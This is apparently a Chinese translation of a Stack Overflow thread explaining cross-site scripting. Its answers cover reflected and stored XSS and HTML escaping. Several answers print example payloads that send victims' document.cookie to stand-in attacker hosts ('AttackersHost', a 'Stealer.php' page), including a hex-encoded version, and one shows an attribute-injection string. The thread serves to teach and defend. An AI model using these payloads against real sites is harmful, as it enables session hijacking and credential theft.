【问题标题】:How does XSS work?XSS 是如何工作的?
【发布时间】:2008-10-27 06:12:26
【问题描述】:

有人能用简单的英语解释一下 XSS 是如何工作的吗?也许举个例子。谷歌搜索没有多大帮助。

【问题讨论】:

  • 你的意思是跨站脚本吗?

标签: xss


【解决方案1】:

跨站脚本基本上是动态网页的安全漏洞,攻击者可以创建恶意链接将不需要的可执行 JavaScript 注入网站。此漏洞最常见的情况发生在 GET 变量在未过滤或检查其内容的情况下打印或回显。

当受害者点击链接时,恶意代码可以将受害者的 cookie 发送到另一台服务器,或者它可以修改受影响的站点、注入表单、窃取用户名和密码以及其他网络钓鱼技术。

恶意链接示例:

http://VulnerableHost/a.php?variable=<script>document.location='http://AttackersHost/cgi-bin/cookie.cgi%3Fdata='+document.cookie</script>

对恶意代码进行编码也很常见,例如以十六进制编码:

http://VulnerableHost/a.php?variable=%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%41%74%74%61%63%6B%65%72%73%48%6F%73%74%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%2E%63%67%69%3F%20%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E

【讨论】:

  • 哈哈是的,这是正确转义的一个很好的例子。干得好堆栈溢出! :)
  • 我没有得到的部分是“受害者”部分。如果我访问examole.com 并将Java Script 注入到该页面中,它将在我的浏览器中呈现。如果不让 example.com 提供该代码或将其与某种 SQL 注入攻击相结合,如何使用它来攻击受害者?
  • @CraigJacobs,攻击者将创建超链接,并将其发送给“受害者”。受害者点击它,代码在他们的浏览器上执行。现在,诀窍是 javascript 的作用。它可以从页面中删除数据,或者获取用户的 cookie,并将其发送到其他地方。例如,它可能会获取用户的 cookie,并将用户重定向到 www.badguy.com?cookies=cookiesHere2343rwerw。现在,badguy.com 可以进入受害者的会话并做坏事。
【解决方案2】:

只要来自应用程序外部的字符串可以被解释为代码,就会存在 XSS 漏洞。

例如,如果您通过以下方式生成 HTML:

<BODY>
  <?= $myQueryParameter ?>
</BODY>

那么如果$myQueryParameter 变量包含&lt;SCRIPT&gt; 标记,那么它将最终执行代码。

要防止输入作为代码执行,您需要正确转义内容。

上述问题可以通过意识到$myQueryParameter变量包含纯文本来解决,但你不能只是将纯文本放入HTML并期望它工作。

因此,您需要将纯文本转换为 HTML,以便将其放入 HTML 页面。将一种语言的字符串转换为另一种语言以便嵌入的过程正在转义。

您可以使用以下函数将纯文本转义为 HTML:

function escapePlainTextToHTML(plainText) {
  return plainText.replace(/\0/g, '')
      .replace(/&/g, '&amp;')
      .replace(/</g, '&lt;')
      .replace(/>/g, '&gt;')
      .replace(/"/g, '&#34;')
      .replace(/'/g, '&#39;');
}

【讨论】:

    【解决方案3】:

    简单英语

    XSS 是指您在网页中插入脚本(即 JavaScript 代码),以便浏览器执行代码。这是恶意的,因为它可以用来窃取 cookie 和页面上的任何其他数据。例如:

    搜索框的 HTML:&lt;input value="*search value here*"&gt;

    现在,如果您插入 " onmouseover="alert(1),最终的 HTML 将是 &lt;input value="" onmouseover="alert(1)"&gt; 当鼠标经过搜索框时,会执行“alert”。

    在“维基文本”中

    跨站脚本 (XSS) 是一种通常在 Web 应用程序中发现的计算机安全漏洞。 XSS 使攻击者能够将客户端脚本注入到其他用户查看的网页中。攻击者可能会利用跨站脚本漏洞绕过同源策略等访问控制。

    【讨论】:

      【解决方案4】:

      简而言之,XSS 是一个安全漏洞,攻击者可以在其中构建恶意脚本来破坏网站。现在它是如何工作的?

      我们知道 XSS 需要一个输入字段,或者我们可以说输入通过它的 GET 变量回显给用户,无需过滤,有时甚至过滤。请求后,浏览器可以接受(“源代码”)作为向用户显示内容的响应。 记住您​​在输入字段中写的内容,它将在源代码响应中出现。因此您应该检查它,因为有时网络开发人员会限制警告框。

      如果您首先是攻击者,您需要通过使用脚本标签来了解 xss 漏洞。

      例如:- alert("test")

      这里的alert() 用于制作带有ok 按钮的弹出框,你在括号中写的任何内容都会在屏幕上弹出。而且脚本标签是不可见的。

      现在攻击者可以编写恶意脚本来窃取 cookie、窃取凭据等。

      例如:- hxxp://www.VulnerableSite.com/index.php?search=location.href = ‘http://www.Yoursite.com/Stealer.php?cookie=’+document.cookie;

      这里你的站点是攻击者站点,攻击者可以借助 document.cookie 将受害者的 cookie 重定向到他自己的站点。

      就是这样。

      这里的脚本标签不可见

      【讨论】:

        【解决方案5】:

        我写过一篇文章,介绍什么是 XSS 以及作为 PHP 开发人员如何解决它。也有两种类型的 XSS 攻击的示例(持久性与非持久性)。

        XSS 攻击有两种类型:

        1. 非持久性:这将是一个特制的 URL,其中嵌入了 脚本作为目标页面的参数之一。讨厌的网址 可以通过电子邮件发送,目的是欺骗 收件人点击它。目标页面错误处理参数 并且无意中将代码发送到客户端的机器上 最初通过 URL 字符串传入。
        2. 持续:此攻击 使用网站上的页面将表单数据保存到数据库中,而无需 正确处理输入数据。恶意用户可以嵌入令人讨厌的 作为运行的典型数据字段(如姓氏)的一部分的脚本 在客户端的网络浏览器上不知不觉。通常是讨厌的脚本 将被存储到数据库中,并在每次客户访问时重新运行 到受感染的页面。

        在此处查看更多信息: http://www.thedablog.com/what-is-xss/

        【讨论】:

          【解决方案6】:

          XSS -

          当网站信任用户而不过滤用户输入时导致的漏洞。 用户输入会导致站点上执行不需要的脚本。

          1. 预防:

            • 使用 HTML 输入过滤器过滤用户输入

              (例如 php 中的 strip_tags、htmlspecialchars、htmlentities、mysql_real_string_escape)

          CSRF:

          当用户信任网站但网站可能会努力获取用户信息并滥用它时导致的漏洞。

          1. 预防:

          【讨论】:

            猜你喜欢
            • 1970-01-01
            • 1970-01-01
            • 2010-11-14
            • 2017-07-24
            • 2016-11-13
            • 2017-10-11
            • 2021-10-13
            • 2011-02-24
            • 2013-11-16
            相关资源
            最近更新 更多